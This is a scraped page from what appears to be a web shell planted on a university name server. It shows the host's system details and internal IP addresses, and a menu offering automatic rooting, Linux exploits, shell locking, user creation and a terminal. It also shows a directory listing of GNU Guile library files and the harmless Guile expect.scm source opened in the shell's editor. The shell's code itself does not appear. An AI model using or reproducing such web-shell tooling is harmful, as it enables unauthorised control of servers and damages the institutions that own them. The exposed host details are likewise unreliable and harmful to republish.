Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
guile /
2.2 /
ice-9 /
[ HOME SHELL ]
Name
Size
Permission
Action
peg
[ DIR ]
drwxr-xr-x
and-let-star.scm
2.53
KB
-rw-r--r--
arrays.scm
2.63
KB
-rw-r--r--
atomic.scm
1.55
KB
-rw-r--r--
binary-ports.scm
1.99
KB
-rw-r--r--
boot-9.scm
143.94
KB
-rw-r--r--
buffered-input.scm
4.82
KB
-rw-r--r--
calling.scm
10.54
KB
-rw-r--r--
channel.scm
5.19
KB
-rw-r--r--
command-line.scm
18.2
KB
-rw-r--r--
common-list.scm
8.95
KB
-rw-r--r--
control.scm
4.08
KB
-rw-r--r--
curried-definitions.scm
1.79
KB
-rw-r--r--
debug.scm
1.09
KB
-rw-r--r--
deprecated.scm
2.95
KB
-rw-r--r--
documentation.scm
7.41
KB
-rw-r--r--
eval.scm
25.12
KB
-rw-r--r--
eval-string.scm
2.99
KB
-rw-r--r--
expect.scm
5.5
KB
-rw-r--r--
fdes-finalizers.scm
1.06
KB
-rw-r--r--
format.scm
74.37
KB
-rw-r--r--
ftw.scm
24.17
KB
-rw-r--r--
futures.scm
10.49
KB
-rw-r--r--
gap-buffer.scm
10.14
KB
-rw-r--r--
getopt-long.scm
16.49
KB
-rw-r--r--
hash-table.scm
1.77
KB
-rw-r--r--
hcons.scm
2.55
KB
-rw-r--r--
history.scm
2.29
KB
-rw-r--r--
i18n.scm
20.51
KB
-rw-r--r--
iconv.scm
3.65
KB
-rw-r--r--
lineio.scm
3.85
KB
-rw-r--r--
list.scm
1.29
KB
-rw-r--r--
local-eval.scm
9.96
KB
-rw-r--r--
ls.scm
3.2
KB
-rw-r--r--
mapping.scm
4.84
KB
-rw-r--r--
match.scm
2
KB
-rw-r--r--
match.upstream.scm
35.92
KB
-rw-r--r--
networking.scm
3.33
KB
-rw-r--r--
null.scm
1.13
KB
-rw-r--r--
occam-channel.scm
7.26
KB
-rw-r--r--
optargs.scm
15.75
KB
-rw-r--r--
peg.scm
1.64
KB
-rw-r--r--
poe.scm
3.3
KB
-rw-r--r--
poll.scm
5.79
KB
-rw-r--r--
popen.scm
6.82
KB
-rw-r--r--
ports.scm
18.89
KB
-rw-r--r--
posix.scm
2.73
KB
-rw-r--r--
pretty-print.scm
16.88
KB
-rw-r--r--
psyntax-pp.scm
180.55
KB
-rw-r--r--
psyntax.scm
148.7
KB
-rw-r--r--
q.scm
4.2
KB
-rw-r--r--
quasisyntax.scm
5.22
KB
-rw-r--r--
r5rs.scm
1.56
KB
-rw-r--r--
r6rs-libraries.scm
9.43
KB
-rw-r--r--
rdelim.scm
7.72
KB
-rw-r--r--
readline.scm
9.56
KB
-rw-r--r--
receive.scm
1.06
KB
-rw-r--r--
regex.scm
8.87
KB
-rw-r--r--
runq.scm
8.18
KB
-rw-r--r--
rw.scm
1.02
KB
-rw-r--r--
safe-r5rs.scm
3.72
KB
-rw-r--r--
safe.scm
1.25
KB
-rw-r--r--
sandbox.scm
34.23
KB
-rw-r--r--
save-stack.scm
2.15
KB
-rw-r--r--
scm-style-repl.scm
11.62
KB
-rw-r--r--
serialize.scm
3.78
KB
-rw-r--r--
session.scm
17.72
KB
-rw-r--r--
slib.scm
1.55
KB
-rw-r--r--
stack-catch.scm
1.94
KB
-rw-r--r--
streams.scm
5.86
KB
-rw-r--r--
string-fun.scm
8.59
KB
-rw-r--r--
suspendable-ports.scm
29.87
KB
-rw-r--r--
syncase.scm
1.52
KB
-rw-r--r--
textual-ports.scm
2.29
KB
-rw-r--r--
threads.scm
12.54
KB
-rw-r--r--
time.scm
2.07
KB
-rw-r--r--
top-repl.scm
2.75
KB
-rw-r--r--
unicode.scm
1005
B
-rw-r--r--
vlist.scm
21.56
KB
-rw-r--r--
weak-vector.scm
1.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : expect.scm
;;;; Copyright (C) 1996, 1998, 1999, 2001, 2006 Free Software Foundation, Inc. ;;;; ;;;; This library is free software; you can redistribute it and/or ;;;; modify it under the terms of the GNU Lesser General Public ;;;; License as published by the Free Software Foundation; either ;;;; version 3 of the License, or (at your option) any later version. ;;;; ;;;; This library is distributed in the hope that it will be useful, ;;;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;;;; Lesser General Public License for more details. ;;;; ;;;; You should have received a copy of the GNU Lesser General Public ;;;; License along with this library; if not, write to the Free Software ;;;; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;;;; ;;; Commentary: ;; This module is documented in the Guile Reference Manual. ;; Briefly, these are exported: ;; procedures: expect-select, expect-regexec ;; variables: expect-port, expect-timeout, expect-timeout-proc, ;; expect-eof-proc, expect-char-proc, ;; expect-strings-compile-flags, expect-strings-exec-flags, ;; macros: expect, expect-strings ;;; Code: (define-module (ice-9 expect) :use-module (ice-9 regex) :export-syntax (expect expect-strings) :export (expect-port expect-timeout expect-timeout-proc expect-eof-proc expect-char-proc expect-strings-compile-flags expect-strings-exec-flags expect-select expect-regexec)) ;;; Expect: a macro for selecting actions based on what it reads from a port. ;;; The idea is from Don Libes' expect based on Tcl. ;;; This version by Gary Houston incorporating ideas from Aubrey Jaffer. (define expect-port #f) (define expect-timeout #f) (define expect-timeout-proc #f) (define expect-eof-proc #f) (define expect-char-proc #f) ;;; expect: each test is a procedure which is applied to the accumulating ;;; string. (defmacro expect clauses (let ((s (gensym)) (c (gensym)) (port (gensym)) (timeout (gensym))) `(let ((,s "") (,port (or expect-port (current-input-port))) ;; when timeout occurs, in floating point seconds. (,timeout (if expect-timeout (let* ((secs-usecs (gettimeofday))) (+ (car secs-usecs) expect-timeout (/ (cdr secs-usecs) 1000000))) ; one million. #f))) (let next-char () (if (and expect-timeout (not (expect-select ,port ,timeout))) (if expect-timeout-proc (expect-timeout-proc ,s) #f) (let ((,c (read-char ,port))) (if expect-char-proc (expect-char-proc ,c)) (if (not (eof-object? ,c)) (set! ,s (string-append ,s (string ,c)))) (cond ;; this expands to clauses where the car invokes the ;; match proc and the cdr is the return value from expect ;; if the proc matched. ,@(let next-expr ((tests (map car clauses)) (exprs (map cdr clauses)) (body '())) (cond ((null? tests) (reverse body)) (else (next-expr (cdr tests) (cdr exprs) (cons `((,(car tests) ,s (eof-object? ,c)) ,@(cond ((null? (car exprs)) '()) ((eq? (caar exprs) '=>) (if (not (= (length (car exprs)) 2)) (scm-error 'misc-error "expect" "bad recipient: ~S" (list (car exprs)) #f) `((apply ,(cadar exprs) (,(car tests) ,s ,port))))) (else (car exprs)))) body))))) ;; if none of the clauses matched the current string. (else (cond ((eof-object? ,c) (if expect-eof-proc (expect-eof-proc ,s) #f)) (else (next-char))))))))))) (define expect-strings-compile-flags regexp/newline) (define expect-strings-exec-flags regexp/noteol) ;;; the regexec front-end to expect: ;;; each test must evaluate to a regular expression. (defmacro expect-strings clauses `(let ,@(let next-test ((tests (map car clauses)) (exprs (map cdr clauses)) (defs '()) (body '())) (cond ((null? tests) (list (reverse defs) `(expect ,@(reverse body)))) (else (let ((rxname (gensym))) (next-test (cdr tests) (cdr exprs) (cons `(,rxname (make-regexp ,(car tests) expect-strings-compile-flags)) defs) (cons `((lambda (s eof?) (expect-regexec ,rxname s eof?)) ,@(car exprs)) body)))))))) ;;; simplified select: returns #t if input is waiting or #f if timed out or ;;; select was interrupted by a signal. ;;; timeout is an absolute time in floating point seconds. (define (expect-select port timeout) (let* ((secs-usecs (gettimeofday)) (relative (- timeout (car secs-usecs) (/ (cdr secs-usecs) 1000000)))) ; one million. (and (> relative 0) (pair? (car (select (list port) '() '() relative)))))) ;;; match a string against a regexp, returning a list of strings (required ;;; by the => syntax) or #f. called once each time a character is added ;;; to s (eof? will be #f), and once when eof is reached (with eof? #t). (define (expect-regexec rx s eof?) ;; if expect-strings-exec-flags contains regexp/noteol, ;; remove it for the eof test. (let* ((flags (if (and eof? (logand expect-strings-exec-flags regexp/noteol)) (logxor expect-strings-exec-flags regexp/noteol) expect-strings-exec-flags)) (match (regexp-exec rx s 0 flags))) (if match (do ((i (- (match:count match) 1) (- i 1)) (result '() (cons (match:substring match i) result))) ((< i 0) result)) #f))) ;;; expect.scm ends here
Close